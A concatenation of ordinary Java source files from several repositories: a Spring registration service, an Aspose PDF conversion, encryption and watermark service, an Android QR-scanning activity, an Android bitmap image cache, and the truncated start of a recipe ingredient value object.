@RequiredArgsConstructor
public class RegisterService extends RegisterTemplate {
private final UserRepository userRepo;
private final EmailVerificationRepository emailVerificationRepo; // todo 做 email 驗證
private final RegisterMapper registerMapper;
private final PasswordEncoder passwordEncoder;
/**
* register user and send the email
*
* @param source
* @return
* @throws Exception
*/
@Modifying
public UserInfo register(Register source) throws Exception {
return super.createUserAndSendEmail(source);
}
/**
* create the user
*
* @param source
* @return
*/
@Override
@Modifying
protected UserEntity createUser(Register source) {
log.info("Register the user ({})", source.getEmail());
val user = registerMapper.toUserEntity(source);
user.setPaswrd(passwordEncoder.encode(user.getPaswrd()));
user.setRoles(Sets.newHashSet(RoleEntity.builder().code(Role.USER).value(Role.USER.getValue()).build()));
return userRepo.save(user);
}
/**
* send an email for user to verify
*
* @throws Exception sending email fail
*/
@Override
@Modifying
protected void sendVerification(UserEntity user) throws Exception {
log.info("Sending the email to the Register({})", user.getEmail());
Set<EmailVerificationEntity> verifications = Sets.newHashSet(EmailVerificationEntity.builder()
.userId(user.getId())
.code(generatedHash())
.expiredAt(LocalDateTime.now().plusDays(1L))
.build());
user.setVerifications(verifications);
userRepo.save(user);
}
/**
* convert user entity to user info DTO.
*/
protected UserInfo convert(UserEntity entity) {
return registerMapper.toUserInfo(entity);
}
/**
* generated hash code by murmur3 to hash UUID4
*
* @return
*/
private String generatedHash() {
return Hashing.murmur3_32().hashBytes(UUID.randomUUID().toString().getBytes()).toString();
}
}
| jerry80409/springcat | src/main/java/com/example/springcat/security/rest/register/RegisterService.java |
65,432 | package com.example.pdftooltest.service;
import com.aspose.pdf.CryptoAlgorithm;
import com.aspose.pdf.HorizontalAlignment;
import com.aspose.pdf.VerticalAlignment;
import com.aspose.pdf.WatermarkArtifact;
import com.aspose.pdf.facades.DocumentPrivilege;
import com.aspose.pdf.facades.EncodingType;
import com.aspose.pdf.facades.FontStyle;
import com.aspose.pdf.facades.FormattedText;
import com.example.pdftooltest.model.dto.PdfAddWatermarkRequestDTO;
import com.example.pdftooltest.model.dto.PdfConvertRequestDTO;
import com.example.pdftooltest.model.dto.PdfEncryptRequestDTO;
import com.example.pdftooltest.model.dto.PdfResponseDTO;
import com.example.pdftooltest.util.Base64Utils;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Service;
import org.springframework.util.StringUtils;
import java.awt.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
@Slf4j
@Service
public class AsposeService {
private static final int PDF_SAVE_FORMAT = 40;
private static final int PROTECTED_PDF_PERMISSIONS = DocumentPrivilege.getPrint().getValue()
| DocumentPrivilege.getCopy().getValue()
| DocumentPrivilege.getDegradedPrinting().getValue()
| DocumentPrivilege.getScreenReaders().getValue();
private static final CryptoAlgorithm ENCRYPTION_ALGORITHM = CryptoAlgorithm.AESx256;
public AsposeService(
@Value("${aspose.license-key.word}") String wordLicenseKey,
@Value("${aspose.license-key.pdf}") String pdfLicenseKey) throws Exception {
if (StringUtils.hasLength(wordLicenseKey)) {
var wordLicense = new com.aspose.words.License();
wordLicense.setLicense(new ByteArrayInputStream(wordLicenseKey.getBytes()));
log.info("A license for the product \"aspose word\" was loaded successfully!");
}
if (StringUtils.hasLength(pdfLicenseKey)) {
var pdfLicense = new com.aspose.pdf.License();
pdfLicense.setLicense(new ByteArrayInputStream(pdfLicenseKey.getBytes()));
log.info("A license for the product \"aspose pdf\" was loaded successfully!");
}
}
@SneakyThrows
public PdfResponseDTO convertToPdf(PdfConvertRequestDTO pdfConvertRequestDTO) {
byte[] docxBytes = Base64Utils.convertToBytes(pdfConvertRequestDTO.getDocx());
try (var input = new ByteArrayInputStream(docxBytes);
var output = new ByteArrayOutputStream()) {
var wordDoc = new com.aspose.words.Document(input);
wordDoc.save(output, PDF_SAVE_FORMAT);
var pdfBytes = output.toByteArray();
var pdf = Base64Utils.convertToBase64(pdfBytes);
return PdfResponseDTO.builder().pdf(pdf).build();
}
}
@SneakyThrows
public PdfResponseDTO encryptPdf(PdfEncryptRequestDTO pdfEncryptRequestDTO) {
byte[] pdfBytes = Base64Utils.convertToBytes(pdfEncryptRequestDTO.getPdf());
try (var input = new ByteArrayInputStream(pdfBytes);
var pdfDoc = new com.aspose.pdf.Document(input);
var output = new ByteArrayOutputStream()) {
pdfDoc.encrypt(pdfEncryptRequestDTO.getPassword(), null, PROTECTED_PDF_PERMISSIONS,
ENCRYPTION_ALGORITHM, false);
pdfDoc.save(output);
var outputPdfBytes = output.toByteArray();
var pdf = Base64Utils.convertToBase64(outputPdfBytes);
return PdfResponseDTO.builder().pdf(pdf).build();
}
}
@SneakyThrows
public PdfResponseDTO addWatermark(PdfAddWatermarkRequestDTO pdfAddWatermarkRequestDTO) {
byte[] pdfBytes = Base64Utils.convertToBytes(pdfAddWatermarkRequestDTO.getPdf());
try (var input = new ByteArrayInputStream(pdfBytes);
var pdfDoc = new com.aspose.pdf.Document(input);
var output = new ByteArrayOutputStream()) {
var formattedText = new FormattedText(pdfAddWatermarkRequestDTO.getWatermark(), Color.GRAY,
FontStyle.CjkFont, EncodingType.Identity_h, true, 72.0F);
// 需要每頁設定一個新的 artifact
// 若只建立一個 artifact 設定到每一頁,第二頁開始 Rotation 就不會生效,感覺是 BUG
pdfDoc.getPages().forEach(page -> {
try (var artifact = new WatermarkArtifact()) {
artifact.setText(formattedText);
artifact.setArtifactHorizontalAlignment(HorizontalAlignment.Center);
artifact.setArtifactVerticalAlignment(VerticalAlignment.Center);
artifact.setRotation(45);
artifact.setOpacity(0.1f);
artifact.setBackground(true);
page.getArtifacts().add(artifact);
}
});
pdfDoc.save(output);
var outputPdfBytes = output.toByteArray();
var pdf = Base64Utils.convertToBase64(outputPdfBytes);
return PdfResponseDTO.builder().pdf(pdf).build();
}
}
}
| PinXian53/pdf-tool-test | src/main/java/com/example/pdftooltest/service/AsposeService.java |
65,433 | package tk.gengwai.waiapp;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.hardware.Camera;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import android.util.SparseArray;
import android.view.SurfaceHolder;
import android.view.SurfaceView;
import android.view.View;
import android.widget.ImageView;
import android.widget.TextView;
import com.google.android.gms.vision.CameraSource;
import com.google.android.gms.vision.Frame;
import com.google.android.gms.vision.barcode.Barcode;
import com.google.android.gms.vision.barcode.BarcodeDetector;
import java.io.IOException;
public class LoveActivity extends AppCompatActivity {
private Context context;
private Camera camera;
private SurfaceView preview;
private TextView instruction2View;
private ImageView responseImg;
private CameraSource.PictureCallback pictureCallback;
private static Camera getCameraInstance(){
Camera c = null;
try {
c = Camera.open(); // attempt to get a Camera instance
c.setDisplayOrientation(90);
}
catch (Exception e){
// Camera is not available (in use or does not exist)
}
return c; // returns null if camera is unavailable
}
private void releaseCamera(){
if (camera != null){
camera.release(); // release the camera for other applications
camera = null;
}
}
class CameraPreview implements SurfaceHolder.Callback {
private Camera mCamera;
// Constructor
public CameraPreview(Camera c) {
mCamera = c;
}
public void surfaceCreated(SurfaceHolder holder) {
try {
mCamera.setPreviewDisplay(holder);
mCamera.startPreview();
} catch (IOException e) {
Log.d("camera", "Error settting camera preview: " + e.getMessage());
}
}
public void surfaceDestroyed(SurfaceHolder holder) {
Log.i("LoveActivity.java", "Surface destroyed");
// empty. Take care of releasing the Camera preview in your activity.
}
public void surfaceChanged(SurfaceHolder holder, int format, int w, int h) {
// If your preview can change or rotate, take care of those events here.
// Make sure to stop the preview before resizing or reformatting it.
if (holder.getSurface() == null) {
// preview surface does not exist
return;
}
// stop preview before making changes
try {
mCamera.stopPreview();
} catch (Exception e) {
// ignore: tried to stop a non-existent preview
}
// set preview size and make any resize, rotate or
// reformatting changes here
// start preview with new settings
try {
mCamera.setPreviewDisplay(holder);
mCamera.startPreview();
} catch (Exception e) {
Log.d("camera", "Error starting camera preview: " + e.getMessage());
}
}
}
class PictureCallback implements Camera.PictureCallback {
private BarcodeDetector barcodeDetector;
@Override
public void onPictureTaken(byte[] data, Camera camera) {
String barCodeContent;
// Display the captured photo and put image into Frame
Bitmap myBitmap = new BitmapFactory().decodeByteArray(data, 0, data.length);
Frame capturePic = new Frame.Builder().setBitmap(myBitmap).build();
// The barcodeDetector
if (barcodeDetector == null) {
Log.i("LoveActivity.java", "detector is null");
barcodeDetector =
new BarcodeDetector.Builder(context).setBarcodeFormats(Barcode.QR_CODE).build();
}
// Obtain the Result
SparseArray<Barcode> barcode = barcodeDetector.detect(capturePic);
if(barcode.size() > 0) // Find Barcode
{
barCodeContent = barcode.valueAt(0).rawValue;
if (barCodeContent.equals("烈焰紅唇")) {
instruction2View.setText("威威好有被愛的感覺");
camera.stopPreview();
preview.setVisibility(View.GONE);
responseImg.setVisibility(View.VISIBLE);
return;
} else {
instruction2View.setText(barCodeContent + R.string.wrong_barcode_response);
}
}
else {
instruction2View.setText(R.string.no_barcode_response);
}
camera.startPreview();
}
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_love);
context = getApplicationContext();
camera = getCameraInstance();
preview = (SurfaceView) findViewById(R.id.camera_preview);
instruction2View = (TextView) findViewById(R.id.instruction2_View);
responseImg = (ImageView) findViewById(R.id.responseImg);
final Camera.PictureCallback pictureCallback = new PictureCallback();
preview.getHolder().addCallback(new CameraPreview(camera));
preview.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
camera.takePicture(null, null, pictureCallback);
}
});
}
@Override
protected void onPause() {
super.onPause();
releaseCamera(); // release the camera immediately on pause event
}
}
| danielchan303/WaiApp | app/src/main/java/tk/gengwai/waiapp/LoveActivity.java |
65,434 | /*
* Copyright (C) 2012 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.example.android.displayingbitmaps.util;
import android.annotation.TargetApi;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.Bitmap.CompressFormat;
import android.graphics.Bitmap.Config;
import android.graphics.BitmapFactory;
import android.graphics.drawable.BitmapDrawable;
import android.os.Build.VERSION_CODES;
import android.os.Bundle;
import android.os.Environment;
import android.os.StatFs;
import android.support.v4.app.Fragment;
import android.support.v4.app.FragmentManager;
import android.support.v4.util.LruCache;
import com.example.android.common.logger.Log;
import com.example.android.displayingbitmaps.BuildConfig;
import java.io.File;
import java.io.FileDescriptor;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.ref.SoftReference;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Collections;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;
/**
* This class handles disk and memory caching of bitmaps in conjunction with the
* {@link ImageWorker} class and its subclasses. Use
* {@link ImageCache#getInstance(android.support.v4.app.FragmentManager, ImageCacheParams)} to get an instance of this
* class, although usually a cache should be added directly to an {@link ImageWorker} by calling
* {@link ImageWorker#addImageCache(android.support.v4.app.FragmentManager, ImageCacheParams)}.
*/
public class ImageCache {
private static final String TAG = "ImageCache";
// Default memory cache size in kilobytes
private static final int DEFAULT_MEM_CACHE_SIZE = 1024 * 5; // 5MB
// Default disk cache size in bytes
private static final int DEFAULT_DISK_CACHE_SIZE = 1024 * 1024 * 10; // 10MB
// Compression settings when writing images to disk cache
private static final CompressFormat DEFAULT_COMPRESS_FORMAT = CompressFormat.JPEG;
private static final int DEFAULT_COMPRESS_QUALITY = 70;
private static final int DISK_CACHE_INDEX = 0;
// Constants to easily toggle various caches
private static final boolean DEFAULT_MEM_CACHE_ENABLED = true;
private static final boolean DEFAULT_DISK_CACHE_ENABLED = true;
private static final boolean DEFAULT_INIT_DISK_CACHE_ON_CREATE = false;
private DiskLruCache mDiskLruCache;
private LruCache<String, BitmapDrawable> mMemoryCache;
private ImageCacheParams mCacheParams;
private final Object mDiskCacheLock = new Object();
private boolean mDiskCacheStarting = true;
private Set<SoftReference<Bitmap>> mReusableBitmaps;
/**
* Create a new ImageCache object using the specified parameters. This should not be
* called directly by other classes, instead use
* {@link ImageCache#getInstance(android.support.v4.app.FragmentManager, ImageCacheParams)} to fetch an ImageCache
* instance.
*
* @param cacheParams The cache parameters to use to initialize the cache
*/
private ImageCache(ImageCacheParams cacheParams) {
init(cacheParams);
}
/**
* Initialize the cache, providing all parameters.
*
* @param cacheParams The cache parameters to initialize the cache
*/
private void init(ImageCacheParams cacheParams) {
mCacheParams = cacheParams;
//BEGIN_INCLUDE(init_memory_cache)
// Set up memory cache
if (mCacheParams.memoryCacheEnabled) {
if (BuildConfig.DEBUG) {
Log.d(TAG, "Memory cache created (size = " + mCacheParams.memCacheSize + ")");
}
// If we're running on Honeycomb or newer, create a set of reusable bitmaps that can be
// populated into the inBitmap field of BitmapFactory.Options. Note that the set is
// of SoftReferences which will actually not be very effective due to the garbage
// collector being aggressive clearing Soft/WeakReferences. A better approach
// would be to use a strongly references bitmaps, however this would require some
// balancing of memory usage between this set and the bitmap LruCache. It would also
// require knowledge of the expected size of the bitmaps. From Honeycomb to JellyBean
// the size would need to be precise, from KitKat onward the size would just need to
// be the upper bound (due to changes in how inBitmap can re-use bitmaps).
if (Utils.hasHoneycomb()) {
mReusableBitmaps =
Collections.synchronizedSet(new HashSet<SoftReference<Bitmap>>());
}
mMemoryCache = new LruCache<String, BitmapDrawable>(mCacheParams.memCacheSize) {
/**
* Notify the removed entry that is no longer being cached
*/
@Override
protected void entryRemoved(boolean evicted, String key,
BitmapDrawable oldValue, BitmapDrawable newValue) {
if (RecyclingBitmapDrawable.class.isInstance(oldValue)) {
// The removed entry is a recycling drawable, so notify it
// that it has been removed from the memory cache
((RecyclingBitmapDrawable) oldValue).setIsCached(false);
} else {
// The removed entry is a standard BitmapDrawable
if (Utils.hasHoneycomb()) {
// We're running on Honeycomb or later, so add the bitmap
// to a SoftReference set for possible use with inBitmap later
mReusableBitmaps.add(new SoftReference<Bitmap>(oldValue.getBitmap()));
}
}
}
/**
* Measure item size in kilobytes rather than units which is more practical
* for a bitmap cache
*/
@Override
protected int sizeOf(String key, BitmapDrawable value) {
final int bitmapSize = getBitmapSize(value) / 1024;
return bitmapSize == 0 ? 1 : bitmapSize;
}
};
}
//END_INCLUDE(init_memory_cache)
// By default the disk cache is not initialized here as it should be initialized
// on a separate thread due to disk access.
if (cacheParams.initDiskCacheOnCreate) {
// Set up disk cache
initDiskCache();
}
}
/**
* Initializes the disk cache. Note that this includes disk access so this should not be
* executed on the main/UI thread. By default an ImageCache does not initialize the disk
* cache when it is created, instead you should call initDiskCache() to initialize it on a
* background thread.
*/
public void initDiskCache() {
// Set up disk cache
synchronized (mDiskCacheLock) {
if (mDiskLruCache == null || mDiskLruCache.isClosed()) {
File diskCacheDir = mCacheParams.diskCacheDir;
if (mCacheParams.diskCacheEnabled && diskCacheDir != null) {
if (!diskCacheDir.exists()) {
diskCacheDir.mkdirs();
}
if (getUsableSpace(diskCacheDir) > mCacheParams.diskCacheSize) {
try {
mDiskLruCache = DiskLruCache.open(
diskCacheDir, 1, 1, mCacheParams.diskCacheSize);
if (BuildConfig.DEBUG) {
Log.d(TAG, "Disk cache initialized");
}
} catch (final IOException e) {
mCacheParams.diskCacheDir = null;
Log.e(TAG, "initDiskCache - " + e);
}
}
}
}
mDiskCacheStarting = false;
mDiskCacheLock.notifyAll();
}
}
/**
* Return an {@link ImageCache} instance. A {@link RetainFragment} is used to retain the
* ImageCache object across configuration changes such as a change in device orientation.
*
* @param fragmentManager The fragment manager to use when dealing with the retained fragment.
* @param cacheParams The cache parameters to use if the ImageCache needs instantiation.
* @return An existing retained ImageCache object or a new one if one did not exist
*/
public static ImageCache getInstance(FragmentManager fragmentManager, ImageCacheParams cacheParams) {
// Search for, or create an instance of the non-UI RetainFragment
final RetainFragment mRetainFragment = findOrCreateRetainFragment(fragmentManager);
// See if we already have an ImageCache stored in RetainFragment
ImageCache imageCache = (ImageCache) mRetainFragment.getObject();
// No existing ImageCache, create one and store it in RetainFragment
if (imageCache == null) {
imageCache = new ImageCache(cacheParams);
mRetainFragment.setObject(imageCache);
}
System.out.println("imageCache:"+imageCache);
return imageCache;
}
/**
* Adds a bitmap to both memory and disk cache.
*
* @param data Unique identifier for the bitmap to store
* @param value The bitmap drawable to store
*/
public void addBitmapToCache(String data, BitmapDrawable value) {
//BEGIN_INCLUDE(add_bitmap_to_cache)
if (data == null || value == null) {
return;
}
// Add to memory cache
if (mMemoryCache != null) {
if (RecyclingBitmapDrawable.class.isInstance(value)) {
// The removed entry is a recycling drawable, so notify it
// that it has been added into the memory cache
((RecyclingBitmapDrawable) value).setIsCached(true);
}
mMemoryCache.put(data, value);
}
synchronized (mDiskCacheLock) {
// Add to disk cache
if (mDiskLruCache != null) {
final String key = hashKeyForDisk(data);
OutputStream out = null;
try {
DiskLruCache.Snapshot snapshot = mDiskLruCache.get(key);
if (snapshot == null) {
final DiskLruCache.Editor editor = mDiskLruCache.edit(key);
if (editor != null) {
out = editor.newOutputStream(DISK_CACHE_INDEX);
value.getBitmap().compress(
mCacheParams.compressFormat, mCacheParams.compressQuality, out);
editor.commit();
out.close();
}
} else {
snapshot.getInputStream(DISK_CACHE_INDEX).close();
}
} catch (final IOException e) {
Log.e(TAG, "addBitmapToCache - " + e);
} catch (Exception e) {
Log.e(TAG, "addBitmapToCache - " + e);
} finally {
try {
if (out != null) {
out.close();
}
} catch (IOException e) {
}
}
}
}
//END_INCLUDE(add_bitmap_to_cache)
}
/**
* Get from memory cache.
*
* @param data Unique identifier for which item to get
* @return The bitmap drawable if found in cache, null otherwise
*/
public BitmapDrawable getBitmapFromMemCache(String data) {
//BEGIN_INCLUDE(get_bitmap_from_mem_cache)
BitmapDrawable memValue = null;
if (mMemoryCache != null) {
memValue = mMemoryCache.get(data);
}
if (BuildConfig.DEBUG && memValue != null) {
Log.d(TAG, "Memory cache hit");
}
return memValue;
//END_INCLUDE(get_bitmap_from_mem_cache)
}
/**
* Get from disk cache.
*
* @param data Unique identifier for which item to get
* @return The bitmap if found in cache, null otherwise
*/
public Bitmap getBitmapFromDiskCache(String data) {
//BEGIN_INCLUDE(get_bitmap_from_disk_cache)
final String key = hashKeyForDisk(data);
Bitmap bitmap = null;
synchronized (mDiskCacheLock) {
while (mDiskCacheStarting) {
try {
mDiskCacheLock.wait();
} catch (InterruptedException e) {
}
}
if (mDiskLruCache != null) {
InputStream inputStream = null;
try {
final DiskLruCache.Snapshot snapshot = mDiskLruCache.get(key);
if (snapshot != null) {
if (BuildConfig.DEBUG) {
Log.d(TAG, "Disk cache hit");
}
inputStream = snapshot.getInputStream(DISK_CACHE_INDEX);
if (inputStream != null) {
FileDescriptor fd = ((FileInputStream) inputStream).getFD();
// Decode bitmap, but we don't want to sample so give
// MAX_VALUE as the target dimensions
bitmap = ImageResizer.decodeSampledBitmapFromDescriptor(
fd, Integer.MAX_VALUE, Integer.MAX_VALUE, this);
}
}
} catch (final IOException e) {
Log.e(TAG, "getBitmapFromDiskCache - " + e);
} finally {
try {
if (inputStream != null) {
inputStream.close();
}
} catch (IOException e) {
}
}
}
return bitmap;
}
//END_INCLUDE(get_bitmap_from_disk_cache)
}
/**
* @param options - BitmapFactory.Options with out* options populated
* @return Bitmap that case be used for inBitmap
*/
protected Bitmap getBitmapFromReusableSet(BitmapFactory.Options options) {
//BEGIN_INCLUDE(get_bitmap_from_reusable_set)
Bitmap bitmap = null;
if (mReusableBitmaps != null && !mReusableBitmaps.isEmpty()) {
synchronized (mReusableBitmaps) {
final Iterator<SoftReference<Bitmap>> iterator = mReusableBitmaps.iterator();
Bitmap item;
while (iterator.hasNext()) {
item = iterator.next().get();
if (null != item && item.isMutable()) {
// Check to see it the item can be used for inBitmap
if (canUseForInBitmap(item, options)) {
bitmap = item;
// Remove from reusable set so it can't be used again
iterator.remove();
break;
}
} else {
// Remove from the set if the reference has been cleared.
iterator.remove();
}
}
}
}
return bitmap;
//END_INCLUDE(get_bitmap_from_reusable_set)
}
/**
* Clears both the memory and disk cache associated with this ImageCache object. Note that
* this includes disk access so this should not be executed on the main/UI thread.
*/
public void clearCache() {
if (mMemoryCache != null) {
mMemoryCache.evictAll();
if (BuildConfig.DEBUG) {
Log.d(TAG, "Memory cache cleared");
}
}
synchronized (mDiskCacheLock) {
mDiskCacheStarting = true;
if (mDiskLruCache != null && !mDiskLruCache.isClosed()) {
try {
mDiskLruCache.delete();
if (BuildConfig.DEBUG) {
Log.d(TAG, "Disk cache cleared");
}
} catch (IOException e) {
Log.e(TAG, "clearCache - " + e);
}
mDiskLruCache = null;
//感覺不用重新初始化
//initDiskCache();
}
}
}
/**
* Flushes the disk cache associated with this ImageCache object. Note that this includes
* disk access so this should not be executed on the main/UI thread.
*/
public void flush() {
synchronized (mDiskCacheLock) {
if (mDiskLruCache != null) {
try {
mDiskLruCache.flush();
if (BuildConfig.DEBUG) {
Log.d(TAG, "Disk cache flushed");
}
} catch (IOException e) {
Log.e(TAG, "flush - " + e);
}
}
}
}
/**
* Closes the disk cache associated with this ImageCache object. Note that this includes
* disk access so this should not be executed on the main/UI thread.
*/
public void close() {
synchronized (mDiskCacheLock) {
if (mDiskLruCache != null) {
try {
if (!mDiskLruCache.isClosed()) {
mDiskLruCache.close();
mDiskLruCache = null;
if (BuildConfig.DEBUG) {
Log.d(TAG, "Disk cache closed");
}
}
} catch (IOException e) {
Log.e(TAG, "close - " + e);
}
}
}
}
/**
* A holder class that contains cache parameters.
*/
public static class ImageCacheParams {
public int memCacheSize = DEFAULT_MEM_CACHE_SIZE;
public int diskCacheSize = DEFAULT_DISK_CACHE_SIZE;
public File diskCacheDir;
public CompressFormat compressFormat = DEFAULT_COMPRESS_FORMAT;
public int compressQuality = DEFAULT_COMPRESS_QUALITY;
public boolean memoryCacheEnabled = DEFAULT_MEM_CACHE_ENABLED;
public boolean diskCacheEnabled = DEFAULT_DISK_CACHE_ENABLED;
public boolean initDiskCacheOnCreate = DEFAULT_INIT_DISK_CACHE_ON_CREATE;
/**
* Create a set of image cache parameters that can be provided to
* {@link ImageCache#getInstance(android.support.v4.app.FragmentManager, ImageCacheParams)} or
* {@link ImageWorker#addImageCache(android.support.v4.app.FragmentManager, ImageCacheParams)}.
*
* @param context A context to use.
* @param diskCacheDirectoryName A unique subdirectory name that will be appended to the
* application cache directory. Usually "cache" or "images"
* is sufficient.
*/
public ImageCacheParams(Context context, String diskCacheDirectoryName) {
diskCacheDir = getDiskCacheDir(context, diskCacheDirectoryName);
}
/**
* Sets the memory cache size based on a percentage of the max available VM memory.
* Eg. setting percent to 0.2 would set the memory cache to one fifth of the available
* memory. Throws {@link IllegalArgumentException} if percent is < 0.01 or > .8.
* memCacheSize is stored in kilobytes instead of bytes as this will eventually be passed
* to construct a LruCache which takes an int in its constructor.
* <p/>
* This value should be chosen carefully based on a number of factors
* Refer to the corresponding Android Training class for more discussion:
* http://developer.android.com/training/displaying-bitmaps/
*
* @param percent Percent of available app memory to use to size memory cache
*/
public void setMemCacheSizePercent(float percent) {
if (percent < 0.01f || percent > 0.8f) {
throw new IllegalArgumentException("setMemCacheSizePercent - percent must be "
+ "between 0.01 and 0.8 (inclusive)");
}
memCacheSize = Math.round(percent * Runtime.getRuntime().maxMemory() / 1024);
}
}
/**
* @param candidate - Bitmap to check
* @param targetOptions - Options that have the out* value populated
* @return true if <code>candidate</code> can be used for inBitmap re-use with
* <code>targetOptions</code>
*/
@TargetApi(VERSION_CODES.KITKAT)
private static boolean canUseForInBitmap(
Bitmap candidate, BitmapFactory.Options targetOptions) {
//BEGIN_INCLUDE(can_use_for_inbitmap)
if (!Utils.hasKitKat()) {
// On earlier versions, the dimensions must match exactly and the inSampleSize must be 1
return candidate.getWidth() == targetOptions.outWidth
&& candidate.getHeight() == targetOptions.outHeight
&& targetOptions.inSampleSize == 1;
}
// From Android 4.4 (KitKat) onward we can re-use if the byte size of the new bitmap
// is smaller than the reusable bitmap candidate allocation byte count.
int width = targetOptions.outWidth / targetOptions.inSampleSize;
int height = targetOptions.outHeight / targetOptions.inSampleSize;
int byteCount = width * height * getBytesPerPixel(candidate.getConfig());
return byteCount <= candidate.getAllocationByteCount();
//END_INCLUDE(can_use_for_inbitmap)
}
/**
* Return the byte usage per pixel of a bitmap based on its configuration.
*
* @param config The bitmap configuration.
* @return The byte usage per pixel.
*/
private static int getBytesPerPixel(Config config) {
if (config == Config.ARGB_8888) {
return 4;
} else if (config == Config.RGB_565) {
return 2;
} else if (config == Config.ARGB_4444) {
return 2;
} else if (config == Config.ALPHA_8) {
return 1;
}
return 1;
}
/**
* Get a usable cache directory (external if available, internal otherwise).
*
* @param context The context to use
* @param uniqueName A unique directory name to append to the cache dir
* @return The cache dir
*/
public static File getDiskCacheDir(Context context, String uniqueName) {
// Check if media is mounted or storage is built-in, if so, try and use external cache dir
// otherwise use internal cache dir
final String cachePath =
Environment.MEDIA_MOUNTED.equals(Environment.getExternalStorageState()) ||
!isExternalStorageRemovable() ? getExternalCacheDir(context).getPath() :
context.getCacheDir().getPath();
return new File(cachePath + File.separator + uniqueName);
}
/**
* A hashing method that changes a string (like a URL) into a hash suitable for using as a
* disk filename.
*/
public static String hashKeyForDisk(String key) {
String cacheKey;
try {
final MessageDigest mDigest = MessageDigest.getInstance("MD5");
mDigest.update(key.getBytes());
cacheKey = bytesToHexString(mDigest.digest());
} catch (NoSuchAlgorithmException e) {
cacheKey = String.valueOf(key.hashCode());
}
return cacheKey;
}
private static String bytesToHexString(byte[] bytes) {
// http://stackoverflow.com/questions/332079
StringBuilder sb = new StringBuilder();
for (int i = 0; i < bytes.length; i++) {
String hex = Integer.toHexString(0xFF & bytes[i]);
if (hex.length() == 1) {
sb.append('0');
}
sb.append(hex);
}
return sb.toString();
}
/**
* Get the size in bytes of a bitmap in a BitmapDrawable. Note that from Android 4.4 (KitKat)
* onward this returns the allocated memory size of the bitmap which can be larger than the
* actual bitmap data byte count (in the case it was re-used).
*
* @param value
* @return size in bytes
*/
@TargetApi(VERSION_CODES.KITKAT)
public static int getBitmapSize(BitmapDrawable value) {
Bitmap bitmap = value.getBitmap();
// From KitKat onward use getAllocationByteCount() as allocated bytes can potentially be
// larger than bitmap byte count.
if (Utils.hasKitKat()) {
return bitmap.getAllocationByteCount();
}
if (Utils.hasHoneycombMR1()) {
return bitmap.getByteCount();
}
// Pre HC-MR1
return bitmap.getRowBytes() * bitmap.getHeight();
}
/**
* Check if external storage is built-in or removable.
*
* @return True if external storage is removable (like an SD card), false
* otherwise.
*/
@TargetApi(VERSION_CODES.GINGERBREAD)
public static boolean isExternalStorageRemovable() {
if (Utils.hasGingerbread()) {
return Environment.isExternalStorageRemovable();
}
return true;
}
/**
* Get the external app cache directory.
*
* @param context The context to use
* @return The external cache dir
*/
@TargetApi(VERSION_CODES.FROYO)
public static File getExternalCacheDir(Context context) {
if (Utils.hasFroyo()) {
return context.getExternalCacheDir();
}
// Before Froyo we need to construct the external cache dir ourselves
final String cacheDir = "/Android/data/" + context.getPackageName() + "/cache/";
return new File(Environment.getExternalStorageDirectory().getPath() + cacheDir);
}
/**
* Check how much usable space is available at a given path.
*
* @param path The path to check
* @return The space available in bytes
*/
@TargetApi(VERSION_CODES.GINGERBREAD)
public static long getUsableSpace(File path) {
if (Utils.hasGingerbread()) {
return path.getUsableSpace();
}
final StatFs stats = new StatFs(path.getPath());
return (long) stats.getBlockSize() * (long) stats.getAvailableBlocks();
}
/**
* Locate an existing instance of this Fragment or if not found, create and
* add it using FragmentManager.
*
* @param fm The FragmentManager manager to use.
* @return The existing instance of the Fragment or the new instance if just
* created.
*/
private static RetainFragment findOrCreateRetainFragment(FragmentManager fm) {
//BEGIN_INCLUDE(find_create_retain_fragment)
// Check to see if we have retained the worker fragment.
RetainFragment mRetainFragment = (RetainFragment) fm.findFragmentByTag(TAG);
// If not retained (or first time running), we need to create and add it.
if (mRetainFragment == null) {
mRetainFragment = new RetainFragment();
fm.beginTransaction().add(mRetainFragment, TAG).commitAllowingStateLoss();
}
return mRetainFragment;
//END_INCLUDE(find_create_retain_fragment)
}
/**
* A simple non-UI Fragment that stores a single Object and is retained over configuration
* changes. It will be used to retain the ImageCache object.
*/
public static class RetainFragment extends Fragment {
private Object mObject;
/**
* Empty constructor as per the Fragment documentation
*/
public RetainFragment() {
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// Make sure this Fragment is retained over a configuration change
setRetainInstance(true);
}
/**
* Store a single object in this Fragment.
*
* @param object The object to store
*/
public void setObject(Object object) {
mObject = object;
}
/**
* Get the stored object.
*
* @return The stored object
*/
public Object getObject() {
return mObject;
}
}
}
| wslaimin/DisplayingBitmaps | Application/src/main/java/com/example/android/displayingbitmaps/util/ImageCache.java |
65,435 | package com.recipeingredientunit.model;
import java.io.Serializable;
import java.math.BigDecimal;
public class RecipeIngredientUnitVO implements Serializable {
private static final long serialVersionUID = 1L;
private Integer recipeIngredientUnitID; // 感覺真多餘...
private Integer recipeID;
private Integer ingredientID;
private Integer unitID;
private BigDecimal unitAmount; // 接法:BigDecimal.valueOf(Double number);
@Override
public int hashCode() {
final int prime = 31;
int result = 1;
result = prime * result + ((ingredientID == null) ? 0 : ingredientID.hashCode());
result = prime * result + ((recipeID == null) ? 0 : recipeID.hashCode());
// result = prime * result + ((unitAmount == null) ? 0 : unitAmount.hashCode());
